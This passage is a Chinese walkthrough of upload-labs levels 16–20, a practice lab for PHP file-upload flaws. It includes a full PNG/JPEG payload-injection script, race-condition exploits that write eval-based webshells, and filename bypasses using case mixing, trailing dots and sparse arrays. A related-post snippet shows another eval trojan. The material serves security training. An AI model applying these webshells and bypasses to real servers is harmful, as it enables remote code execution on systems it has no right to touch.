            0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
            0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
            0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
            0x66, 0x44, 0x50, 0x33);
 ​
 ​
 ​
 $img = imagecreatetruecolor(32, 32);
 ​
 for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
 }
 ​
 imagepng($img,'./1.png');
 ?>

这是php脚本,保存好之后,在浏览器运行,就能得到一插入好payloadpng图片

然后上传,再用蚁剑连接测试一下就好

jpg

jpg差不多,也是用脚本

脚本代码:

<?php
     /*
 ​
     The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
     It is necessary that the size and quality of the initial image are the same as those of the processed image.
 ​
     1) Upload an arbitrary image via secured files upload script
     2) Save the processed image and launch:
     jpg_payload.php <jpg_name.jpg>
 ​
     In case of successful injection you will get a specially crafted image, which should be uploaded again.
 ​
     Since the most straightforward injection method is used, the following problems can occur:
     1) After the second processing the injected data may become partially corrupted.
     2) The jpg_payload.php script outputs "Something's wrong".
     If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
 ​
     Sergey Bobrov @Black2Fan.
 ​
     See also:
     https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
 ​
     */
 ​
     $miniPayload = "<?=phpinfo();?>";
 ​
 ​
     if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
         die('php-gd is not installed');
     }
 ​
     if(!isset($argv[1])) {
         die('php jpg_payload.php <jpg_name.jpg>');
     }
 ​
     set_error_handler("custom_error_handler");
 ​
     for($pad = 0; $pad < 1024; $pad++) {
         $nullbytePayloadSize = $pad;
         $dis = new DataInputStream($argv[1]);
         $outStream = file_get_contents($argv[1]);
         $extraBytes = 0;
         $correctImage = TRUE;
 ​
         if($dis->readShort() != 0xFFD8) {
             die('Incorrect SOI marker');
         }
 ​
         while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
             $marker = $dis->readByte();
             $size = $dis->readShort() - 2;
             $dis->skip($size);
             if($marker === 0xDA) {
                 $startPos = $dis->seek();
                 $outStreamTmp = 
                     substr($outStream, 0, $startPos) . 
                     $miniPayload . 
                     str_repeat("\0",$nullbytePayloadSize) . 
                     substr($outStream, $startPos);
                 checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                 if($extraBytes !== 0) {
                     while((!$dis->eof())) {
                         if($dis->readByte() === 0xFF) {
                             if($dis->readByte !== 0x00) {
                                 break;
                             }
                         }
                     }
                     $stopPos = $dis->seek() - 2;
                     $imageStreamSize = $stopPos - $startPos;
                     $outStream = 
                         substr($outStream, 0, $startPos) . 
                         $miniPayload . 
                         substr(
                             str_repeat("\0",$nullbytePayloadSize).
                                 substr($outStream, $startPos, $imageStreamSize),
                             0,
                             $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                 substr($outStream, $stopPos);
                 } elseif($correctImage) {
                     $outStream = $outStreamTmp;
                 } else {
                     break;
                 }
                 if(checkImage('payload_'.$argv[1], $outStream)) {
                     die('Success!');
                 } else {
                     break;
                 }
             }
         }
     }
     unlink('payload_'.$argv[1]);
     die('Something\'s wrong');
 ​
     function checkImage($filename, $data, $unlink = FALSE) {
         global $correctImage;
         file_put_contents($filename, $data);
         $correctImage = TRUE;
         imagecreatefromjpeg($filename);
         if($unlink)
             unlink($filename);
         return $correctImage;
     }
 ​
     function custom_error_handler($errno, $errstr, $errfile, $errline) {
         global $extraBytes, $correctImage;
         $correctImage = FALSE;
         if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
             if(isset($m[1])) {
                 $extraBytes = (int)$m[1];
             }
         }
     }
 ​
     class DataInputStream {
         private $binData;
         private $order;
         private $size;
 ​
         public function __construct($filename, $order = false, $fromString = false) {
             $this->binData = '';
             $this->order = $order;
             if(!$fromString) {
                 if(!file_exists($filename) || !is_file($filename))
                     die('File not exists ['.$filename.']');
                 $this->binData = file_get_contents($filename);
             } else {
                 $this->binData = $filename;
             }
             $this->size = strlen($this->binData);
         }
 ​
         public function seek() {
             return ($this->size - strlen($this->binData));
         }
 ​
         public function skip($skip) {
             $this->binData = substr($this->binData, $skip);
         }
 ​
         public function readByte() {
             if($this->eof()) {
                 die('End Of File');
             }
             $byte = substr($this->binData, 0, 1);
             $this->binData = substr($this->binData, 1);
             return ord($byte);
         }
 ​
         public function readShort() {
             if(strlen($this->binData) < 2) {
                 die('End Of File');
             }
             $short = substr($this->binData, 0, 2);
             $this->binData = substr($this->binData, 2);
             if($this->order) {
                 $short = (ord($short[1]) << 8) + ord($short[0]);
             } else {
                 $short = (ord($short[0]) << 8) + ord($short[1]);
             }
             return $short;
         }
 ​
         public function eof() {
             return !$this->binData||(strlen($this->binData) === 0);
         }
     }
 ?>

但是这个脚本运行之前要先准备一张1.jpg图片,然后运行脚本

然后就跟png的处理方式一样了

pass-17

代码审计

这一关是一个逻辑漏洞,由此就会产生竞争型漏洞,来看下面的代码

$is_upload = false;
 $msg = null;
 ​
 if(isset($_POST['submit'])){
     $ext_arr = array('jpg','png','gif');
     $file_name = $_FILES['upload_file']['name'];
     $temp_file = $_FILES['upload_file']['tmp_name'];
     $file_ext = substr($file_name,strrpos($file_name,".")+1);
     $upload_file = UPLOAD_PATH . '/' . $file_name;
 ​
     if(move_uploaded_file($temp_file, $upload_file)){
         if(in_array($file_ext,$ext_arr)){
              $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
              rename($upload_file, $img_path);
              $is_upload = true;
         }else{
             $msg = "只允许上传.jpg|.png|.gif类型文件!";
             unlink($upload_file);
         }
     }else{
         $msg = '上传出错!';
     }
 }

看第二个if判断里面,漏洞就在这里,它先判断文件是否在白名单里,如果不在就不允许上传并删除,反之允许上传。

在它判断出不允许上传到删除这个时间间隙里,我们可以竞争。

即,在它判断并且还没有改名的极短时间内,我们可以访问到这个文件,如果这个文件的php代码是在当前目录的上一级目录生成我们的实际payload,那么即使它判断完毕,把我们先上传的文件删除也没关系,因为我们已经生成一个实际的payload在上一级目录了,而这个目录它是删不了的,这样我们就成功上传webshell了。

文件上传

1. 准备php文件
 <?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST[cmd]);)?>');
2. 上传

人跟程序竞争基本搞不了,所以使用Burp抓包。

再靶场上传之后,使用Burp抓包,然后发给Intruder模块,然后不停的发包,然后再浏览器不停的访问,具体操作如下

  1. 抓包改包

  1. 验证

pass-18

代码审计

//index.php
 $is_upload = false;
 $msg = null;
 if (isset($_POST['submit']))
 {
     require_once("./myupload.php");
     $imgFileName =time();
     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
     $status_code = $u->upload(UPLOAD_PATH);
     switch ($status_code) {
         case 1:
             $is_upload = true;
             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
             break;
         case 2:
             $msg = '文件已经被上传,但没有重命名。';
             break; 
         case -1:
             $msg = '这个文件不能上传到服务器的临时文件存储目录。';
             break; 
         case -2:
             $msg = '上传失败,上传目录不可写。';
             break; 
         case -3:
             $msg = '上传失败,无法上传该类型文件。';
             break; 
         case -4:
             $msg = '上传失败,上传的文件过大。';
             break; 
         case -5:
             $msg = '上传失败,服务器已经存在相同名称文件。';
             break; 
         case -6:
             $msg = '文件无法上传,文件不能复制到目标目录。';
             break;      
         default:
             $msg = '未知错误!';
             break;
     }
 }
 ​
 //myupload.php
 class MyUpload{
 ......
 ......
 ...... 
   var $cls_arr_ext_accepted = array(
       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
       ".html", ".xml", ".tiff", ".jpeg", ".png" );
 ​
 ......
 ......
 ......  
   /** upload()
    **
    ** Method to upload the file.
    ** This is the only method to call outside the class.
    ** @para String name of directory we upload to
    ** @returns void
   **/
   function upload( $dir ){
     
     $ret = $this->isUploadedFile();
     
     if( $ret != 1 ){
       return $this->resultUpload( $ret );
     }
 ​
     $ret = $this->setDir( $dir );
     if( $ret != 1 ){
       return $this->resultUpload( $ret );
     }
 ​
     $ret = $this->checkExtension();
     if( $ret != 1 ){
       return $this->resultUpload( $ret );
     }
 ​
     $ret = $this->checkSize();
     if( $ret != 1 ){
       return $this->resultUpload( $ret );    
     }
     
     // if flag to check if the file exists is set to 1
     
     if( $this->cls_file_exists == 1 ){
       
       $ret = $this->checkFileExists();
       if( $ret != 1 ){
         return $this->resultUpload( $ret );    
       }
     }
 ​
     // if we are here, we are ready to move the file to destination
 ​
     $ret = $this->move();
     if( $ret != 1 ){
       return $this->resultUpload( $ret );    
     }
 ​
     // check if we need to rename the file
 ​
     if( $this->cls_rename_file == 1 ){
       $ret = $this->renameFile();
       if( $ret != 1 ){
         return $this->resultUpload( $ret );    
       }
     }
     
     // if we are here, everything worked as planned :)
 ​
     return $this->resultUpload( "SUCCESS" );
   
   }
 ......
 ......
 ...... 
 };

这个代码看起来很多,但是对我们来说,重点在这里

$ret = $this->move();
     if( $ret != 1 ){
       return $this->resultUpload( $ret );    
     }
 ​
     // check if we need to rename the file
 ​
     if( $this->cls_rename_file == 1 ){
       $ret = $this->renameFile();
       if( $ret != 1 ){
         return $this->resultUpload( $ret );    
       }
     }

这里就表明了,它的处理逻辑还是先上传,再重命名,这样又会出现一个时间间隙,我们又可以竞争。

只不过有了一个白名单的限制,我们不能上传.php文件了不过可以上传图片码,但是图片码也不能解析,还需要一个文件包含。

文件上传

1. 准备图片码
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST["cmd"]);');
 或
 <?php file_put_contents('../wehshell.php','<?php phpinfo();');
   文件保存为:democompete.php
   然后使用copy命令,构造图片码并重命名为1.jpg。然后上传。

然后在浏览器访问以下路径

http://10.128.133.182/upload-labs-env/WWW/include.php?file=upload/1.jpg
2. Burp抓包

因为时间间隙太短,最好使用Burp,一边不断发包,一边配合python脚本,不断访问指定URL。这样成功率更高。

抓包,然后用Intruder模块持续发包

运行python脚本,持续访问文件

3. 在文件夹里查看

pass-19

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 ​
         $file_name = $_POST['save_name'];
         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
 ​
         if(!in_array($file_ext,$deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH . '/' .$file_name;
             if (move_uploaded_file($temp_file, $img_path)) { 
                 $is_upload = true;
             }else{
                 $msg = '上传出错!';
             }
         }else{
             $msg = '禁止保存为该类型文件!';
         }
 ​
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

这里又是一个黑名单拦截,但是我们观察它的黑名单,并没有大写限制,所以一种方法是把php的后写成大小写混合的样式,比如.pHP

还有一种是利用phpwindows文件系统的特性来做文章,windows就是会把.、空格还有::$DATA自动去掉,而php是因为move_upload_file()函数,

这个函数会自动去掉文件末尾的/.。所以,在上传的时候,我们使用Burp抓包,然后修改一下文件后缀,那就可以成功。

文件上传

1. 大小写

准备这样一个php文件

然后就上传,之后查看一下就可以验证了

上传

下面这张是上传之后的样子,有那个破碎的图片样式,就表示成功了

然后在文件夹查看一下

2. 添加后缀

直接上传一个php文件,

然后使用Burp抓包,把后缀改一下再放包,然后文件夹验证一下

先加一个.

再加一个/

可以看到都成功了

pass-20

代码审计

$is_upload = false;
 $msg = null;
 if(!empty($_FILES['upload_file'])){
     //检查MIME
     $allow_type = array('image/jpeg','image/png','image/gif');
     if(!in_array($_FILES['upload_file']['type'],$allow_type)){
         $msg = "禁止上传该类型文件!";
     }else{
         //检查文件名
         $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
         if (!is_array($file)) {
             $file = explode('.', strtolower($file));
         }
 ​
         $ext = end($file);
         $allow_suffix = array('jpg','png','gif');
         if (!in_array($ext, $allow_suffix)) {
             $msg = "禁止上传该后缀文件!";
         }else{
             $file_name = reset($file) . '.' . $file[count($file) - 1];
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH . '/' .$file_name;
             if (move_uploaded_file($temp_file, $img_path)) {
                 $msg = "文件上传成功!";
                 $is_upload = true;
             } else {
                 $msg = "文件上传失败!";
             }
         }
     }
 }else{
     $msg = "请选择要上传的文件!";
 }

这一关有一点绕,但是呢也还是比较简单。

它的逻辑是这样的:

首先是一个前端检测,

 $allow_type = array('image/jpeg','image/png','image/gif');
     if(!in_array($_FILES['upload_file']['type'],$allow_type)){
         $msg = "禁止上传该类型文件!";
     }

检测通过了就判断我们传入的是不是一个数组,如果不是,那就把文件名以.分割,进行数组化,

 if (!is_array($file)) {
             $file = explode('.', strtolower($file));
         }

然后取数组的最后一个元素,也就是我们文件的后缀名,进行一个白名单过滤,

 $ext = end($file);
         $allow_suffix = array('jpg','png','gif');
         if (!in_array($ext, $allow_suffix)) {
             $msg = "禁止上传该后缀文件!";

检测通过了,再把文件重命名回来,

 $file_name = reset($file) . '.' . $file[count($file) - 1];

问题就出在这里,这个count函数,它在计算的时候如果遇到的数组是稀疏的(某些索引未定义),count() 只会计算已定义的索引,也就是实际有值的索引。

正常来说,我们传入的文件是abc.jpg,经过数组化之后,0下标是abc1下标是jpg,它计算出2,然后进行一个count($file) - 1

那么就会有$file[1],也就是jpg,然后用reset函数取数组第一个元素,也就是abc,这样就正好再次组成文件名abc.jpg。然而,如果在传入文件的时候,我们通过Burp抓包,构建一个稀疏数组,

比如这样的

 ["web.php",,"jpg"]

那么在计算的时候,得到的结果还是2,然后又减去1,这样就有$file[1],而这里的1下标为空(是什么都没有。而不是null),这样重命名,那么最后文件的名称就是web.php.

而这个.又可以利用windows系统的文件特性去掉,这样,我们最终就可以得到web.php文件,也就能成功实现上传webshell的目的。

文件上传

1. 上传

2. 抓包改包

这里1的位置要改为图示的内容,因为这里是一个前端绕过,不改的话不行,具体见pass-02

2的位置改为图示的数字,下标为0

3、4部分是按照结构复制2部分得到的,其中3的下标一定不要是1,不然就没有意义了,

4的位置呢就根据白名单写,写一个就好了

然后Send就可以了

3. 验证

这里可以看到info.php已经成功上传了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/984365.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CTFHub-FastCGI协议/Redis协议

将木马进行base64编码 <?php eval($_GET[cmd]);?> 打开kali虚拟机&#xff0c;使用虚拟机中Gopherus-master工具 Gopherus-master工具安装 git clone https://github.com/tarunkant/Gopherus.git 进入工具目录 cd Gopherus 使用工具 python2 "位置" --expl…

前端 | 向后端传数据,判断问题所在的调试过程

目录 ​编辑 1. 在 vue 文件中&#xff0c;在调用函数之前 先打印传入的数据 2. 在 js 文件中&#xff0c;打印接收到的数据 3. 在浏览器 Network 面板查看请求数据 4. 在 server.js 中查看请求数据 5. 确保 JSON 格式正确 知识点&#xff1a;JSON.stringify(req.body, …

STL之list的使用(超详解)

目录 一、list的介绍及使用 1.1 list的介绍 1.2 list的使用 1.2.1 list的构造 1.2.2 iterator的使用 1.2.3capacity&#xff08;容量相关&#xff09; 1.2.4 element access&#xff08;元素访问&#xff09; 1.2.5 modifiers&#xff08;链表修改&#xff09;…

在【k8s】中部署Jenkins的实践指南

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《Kubernetes航线图&#xff1a;从船长到K8s掌舵者》 &#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、引言 1、Jenkins简介 2、k8s简介 3、什么在…

Ae 效果详解:VR 发光

Ae菜单&#xff1a;效果/沉浸式视频/VR 发光 Immersive Video/VR Glow VR 发光 VR Glow效果用于在 VR 视频中创建光晕效果&#xff0c;并针对等距柱状投影&#xff08;Equirectangular&#xff09;进行优化&#xff0c;以确保全景画面中的光晕均匀分布&#xff0c;不受画面边缘…

猫耳大型活动提效——组件低代码化

1. 引言 猫耳前端在开发活动的过程中&#xff0c;经历过传统的 pro code 阶段&#xff0c;即活动页面完全由前端开发编码实现&#xff0c;直到 2020 年接入公司内部的低代码活动平台&#xff0c;满足了大部分日常活动的需求&#xff0c;运营可自主配置活动并上线&#xff0c;释…

ESP8266UDP透传

1. 配置 WiFi 模式 ATCWMODE3 // softAPstation mode 响应 : OK 2. PC 连⼊入 ESP8266 softAP 就是连接wifi 3.查询ESP8266设备的IP地址 ATCIFSR 响应: CIFSR: APIP, "192.168.4.1" CIFSR: APMAC, "1a: fe: 34: a5:8d: c6" CIFSR: STAIP, "192.…

【仿muduo库one thread one loop式并发服务器实现】

文章目录 一、项目介绍1-1、项目总体简介1-2、项目开发环境1-3、项目核心技术1-4、项目开发流程1-5、项目如何使用 二、框架设计2-1、功能模块划分2-1-1、SERVER模块2-1-2、协议模块 2-2、项目蓝图2-2-1、整体图2-2-2、模块关系图2-2-2-1、Connection 模块关系图2-2-2-2、Accep…

私有云基础架构与运维(二)

二.私有云基础架构 【项目概述】 经过云计算基础知识及核心技术的学习后&#xff0c;希望进一步了解 IT 基础架构的演变过 程&#xff0c;通过学习传统架构、集群架构以及私有云基础架构的相关知识&#xff0c;认识企业从传统 IT 基 础架构到私有云基础架构转型的必要性。…

DeepSeek R1-32B医疗大模型的完整微调实战分析(全码版)

DeepSeek R1-32B微调实战指南 ├── 1. 环境准备 │ ├── 1.1 硬件配置 │ │ ├─ 全参数微调:4*A100 80GB │ │ └─ LoRA微调:单卡24GB │ ├── 1.2 软件依赖 │ │ ├─ PyTorch 2.1.2+CUDA │ │ └─ Unsloth/ColossalAI │ └── 1.3 模…

vue3 vite项目安装eslint

npm install eslint -D 安装eslint库 npx eslint --init 初始化配置&#xff0c;按项目实际情况选 自动生成eslint.config.js&#xff0c;可以添加自定义rules 安装ESLint插件 此时打开vue文件就会标红有问题的位置 安装prettier npm install prettier eslint-config-pr…

【五.LangChain技术与应用】【10.LangChain ChatPromptTemplate(下):复杂场景下的应用】

凌晨两点的西二旗,你盯着监控大屏上跳动的错误日志,智能客服系统在流量洪峰中像纸船一样摇晃。用户骂声塞满弹窗:“等了十分钟就这?”“刚才说的怎么不认了?”“我要人工!!”——这时候你需要的不只是ChatPromptTemplate,而是给对话系统装上航天级操控台。 一、模板组…

javascrip网页设计案例,SuperSlide+bootstrap+html经典组合

概述 JavaScript作为一种强大的脚本语言&#xff0c;在网页设计领域发挥着举足轻重的作用&#xff0c;能够为网页赋予丰富的交互性与动态功能。以下通过具体案例来深入理解其应用。​ 假设要打造一个旅游网站&#xff0c;该网站具备诸多实用功能。在响应式设计方面&#xff0…

python量化交易——金融数据管理最佳实践——使用qteasy大批量自动拉取金融数据

文章目录 使用数据获取渠道自动填充数据QTEASY数据拉取功能数据拉取接口refill_data_source()数据拉取API的功能特性多渠道拉取数据实现下载流量控制实现错误重试日志记录其他功能 qteasy是一个功能全面且易用的量化交易策略框架&#xff0c; Github地址在这里。使用它&#x…

Vite 6 升级指南:CJS 和 ESM 的爱恨情仇

Vite 6 升级指南&#xff1a;CJS 和 ESM 的爱恨情仇 前言&#xff1a;老朋友 CJS&#xff0c;新欢 ESM 说到 JavaScript 模块化&#xff0c;CJS 和 ESM 这俩货简直像是两代人的思维碰撞。前者是 Node.js 的老朋友&#xff0c;后者是前端新时代的宠儿。Vite 6 直接把 CJS 踢出…

FreeRTOS任务状态查询

一.任务相关API vTaskList&#xff08;&#xff09;&#xff0c;创建一个表格描述每个任务的详细信息 char biaoge[1000]; //定义一个缓存 vTaskList(biaoge); //将表格存到这缓存中 printf("%s /r/n",biaoge); 1.uxTaskPriorityGet&#xff08;&#xf…

【3】VS Code 新建上位机项目---C#窗体与控件开发

【3】VS Code 新建上位机项目---C#窗体与控件开发 1 窗体1.1 新建窗体1.2 windows程序与窗口的关系1.3 windows程序的事件1.3.1 定义事件与处理事件1.3.2 关联事件1.3.3 Windows窗体对象创建与显示(show与ShowDialog())2 控件与容器2.1 常用容器2.1.1 Groupbox2.1.2 Pannel2.1.…

AI编程: 一个案例对比CPU和GPU在深度学习方面的性能差异

背景 字节跳动正式发布中国首个AI原生集成开发环境工具&#xff08;AI IDE&#xff09;——AI编程工具Trae国内版。 该工具模型搭载doubao-1.5-pro&#xff0c;支持切换满血版DeepSeek R1&V3&#xff0c; 可以帮助各阶段开发者与AI流畅协作&#xff0c;更快、更高质量地完…

ubuntu 20.04下ZEDmini安装使用

提前安装好显卡驱动和cuda&#xff0c;如果没有安装可以参考我的这两篇文章进行安装&#xff1a; ubuntu20.04配置YOLOV5&#xff08;非虚拟机&#xff09;_ubuntu20.04安装yolov5-CSDN博客 ubuntu20.04安装显卡驱动及问题总结_乌班图里怎么备份显卡驱动-CSDN博客 还需要提前…

2025数据存储技术风向标:解析数据湖与数据仓库的实战效能差距

一、技术演进的十字路口 当前全球数据量正以每年65%的复合增长率激增&#xff0c;IDC预测到2027年企业将面临日均处理500TB数据的挑战。在这样的背景下&#xff0c;传统数据仓库与新兴数据湖的博弈进入白热化阶段。Gartner最新报告显示&#xff0c;采用混合架构的企业数据运营效…